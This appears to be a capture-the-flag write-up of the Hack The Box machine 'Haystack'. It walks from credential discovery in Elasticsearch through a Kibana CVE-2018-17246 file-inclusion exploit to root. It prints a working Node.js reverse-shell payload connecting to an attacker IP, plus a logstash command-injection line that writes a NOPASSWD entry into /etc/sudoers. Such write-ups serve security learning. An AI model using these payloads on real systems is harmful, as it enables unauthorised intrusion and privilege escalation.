Details
This machine is Haystack from Hack The Box
Recon
Start by looking for ports
root@kali:~# nmap -sV -p- -T4 10.10.10.115
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-03 14:25 EDT
Nmap scan report for 10.10.10.115
Host is up (0.033s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http nginx 1.12.2
9200/tcp open http nginx 1.12.2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.07 seconds
User
Port 80 first http://10.10.10.115/
Then port 9200 http://10.10.10.115:9200/
I saved the image from port 80 and took a look
root@kali:~# strings needle.jpg
JFIF
Exif
paint.net 4.1.1
UNICODE
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
[SNIP]
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
Decoded the base64
root@kali:~# echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d
la aguja en el pajar es "clave"
Translate leads to
the needle in the haystack is "key"
I took a look at the elastic search
curl -X GET http://10.10.10.115:9200/_search | json_pp
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2959 100 2959 0 0 33247 0 --:--:-- --:--:-- --:--:-- 33247
{
"timed_out" : false,
"_shards" : {
"skipped" : 0,
"successful" : 11,
"total" : 11,
"failed" : 0
},
"took" : 7,
"hits" : {
"hits" : [
{
"_index" : ".kibana",
"_type" : "doc",
"_id" : "config:6.4.2",
"_source" : {
"type" : "config",
"config" : {
"buildNum" : 18010,
"telemetry:optIn" : false
},
"updated_at" : "2019-01-23T18:15:53.396Z"
},
"_score" : 1
},
{
"_source" : {
"account_number" : 25,
"state" : "PA",
"address" : "171 Putnam Avenue",
"lastname" : "Ayala",
"gender" : "F",
"employer" : "Filodyne",
"balance" : 40540,
"firstname" : "Virginia",
"age" : 39,
"city" : "Nicholson",
"email" : "[email protected]"
},
"_score" : 1,
"_id" : "25",
"_type" : "account",
"_index" : "bank"
},
[SNIP]
Nothing useful, so I tried the hint before, searching for the word clave
root@kali:~# curl http://10.10.10.115:9200/_search?q=clave | json_pp
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 459 100 459 0 0 4371 0 --:--:-- --:--:-- --:--:-- 4330
{
"took" : 41,
"_shards" : {
"successful" : 11,
"skipped" : 0,
"failed" : 0,
"total" : 11
},
"timed_out" : false,
"hits" : {
"hits" : [
{
"_id" : "45",
"_source" : {
"quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
},
"_index" : "quotes",
"_type" : "quote",
"_score" : 5.9335938
},
{
"_id" : "111",
"_index" : "quotes",
"_source" : {
"quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
},
"_type" : "quote",
"_score" : 5.3459888
}
],
"max_score" : 5.9335938,
"total" : 2
}
}
The words have base64, so I decoded them
root@kali:~# echo "dXNlcjogc2VjdXJpdHkg" | base64 -d
user: security
root@kali:~# echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
pass: spanish.is.key
So I have creds, which I tried on ssh
root@kali:~# ssh [email protected]
[security@haystack ~]$
Get the flag
[security@haystack ~]$ ls -la
drwx------. 2 security security 129 Jul 14 05:20 .
drwxr-xr-x. 3 root root 22 Nov 28 2018 ..
lrwxrwxrwx. 1 root root 9 Jan 25 12:14 .bash_history -> /dev/null
-rw-r--r--. 1 security security 18 Apr 10 2018 .bash_logout
-rw-r--r--. 1 security security 193 Apr 10 2018 .bash_profile
-rw-r--r--. 1 security security 231 Apr 10 2018 .bashrc
-rwxrw-r--. 1 security security 4468984 Jul 14 05:20 pspy64
-rw-rw-r--. 1 security security 383 Jul 14 05:16 shell.js
-rw-r--r--. 1 security security 33 Feb 6 22:11 user.txt
[security@haystack ~]$ cat user.txt
[REDACTED]
Root
After some enum I came across a potential vuln in Kibana which is part of the ELK stack. A git repo explained the vuln https://github.com/mpgn/CVE-2018-17246, so I used vi to make a file called shell.js in /tmp that contained the following
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4444, "10.10.14.35", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
So I set a listener
root@kali:~# nc -nlvp 4444
And triggered it
http://10.10.10.115:9200/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js
Didn't work. Some more research reminded me that Kibana also runs a service on port 5601, so I tried it locally
[security@haystack kibana]$ curl "http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js"
In the listener
connect to [10.10.14.35] from (UNKNOWN) [10.10.10.115] 45264
id
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0
Upgrade the shell
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$
I used scp to upload pspy64 and ran it
bash-4.2$ ./pspy64
A command periodically ran as root involving logstash, which made sense as that is part of ELK too, so I took a look in /etc/logstash/conf.d
bash-4.2$ ls -la
drwxrwxr-x. 2 root kibana 62 jun 24 08:12 .
drwxr-xr-x. 3 root root 183 jun 18 22:15 ..
-rw-r-----. 1 root kibana 131 jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 jun 24 08:12 output.conf
bash-4.2$ cat input.conf
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
bash-4.2$ cat filter.conf
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
bash-4.2$ cat output.conf
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
So it reads input from
/opt/kiabana/
Any file named with logstash_*
will be used, it then passes it to a filter to check if it matches
Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}
Which in English is
Execute \ s * command \ s *: \ s +% {GREEDYDATA: command}
So I tested this
bash-4.2$ echo "Ejecutar comando: touch /tmp/spanishTest" > /opt/kibana/logstash_test
When it next ran
bash-4.2$ ls -la /tmp
[SNIP]
-rw-r--r--. 1 root root 0 jul 14 07:48 spanishTest
[SNIP]
I had root RCE, so I made myself a sudoer
bash-4.2$ echo "Ejecutar comando: echo 'kibana ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" > /opt/kibana/logstash_sudo
I watched it run in pspy64
2019/07/14 08:47:23 CMD: UID=0 PID=17977 | sh -c echo 'kibana ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers &
So I checked if it worked
bash-4.2$ sudo -l
User kibana may run the following commands on haystack:
(ALL) NOPASSWD: ALL
So root time
bash-4.2$ sudo su
[root@haystack tmp]#
And now the flag
[root@haystack tmp]# cd /root
[root@haystack ~]# ls -la
dr-xr-x---. 3 root root 179 jun 20 11:05 .
dr-xr-xr-x. 17 root root 224 nov 28 2018 ..
-rw-------. 1 root root 1407 nov 28 2018 anaconda-ks.cfg
lrwxrwxrwx. 1 root root 9 ene 25 12:13 .bash_history -> /dev/null
-rw-r--r--. 1 root root 18 dic 28 2013 .bash_logout
-rw-r--r--. 1 root root 176 dic 28 2013 .bash_profile
-rw-r--r--. 1 root root 176 dic 28 2013 .bashrc
-rw-r--r--. 1 root root 100 dic 28 2013 .cshrc
drwxr-xr-x. 3 root root 19 nov 28 2018 .gem
-rw-------. 1 root root 33 feb 6 22:12 root.txt
-rw-r--r--. 1 root root 129 dic 28 2013 .tcshrc
-rw-------. 1 root root 5758 jun 20 11:05 .viminfo
[root@haystack ~]# cat root.txt
[REDACTED]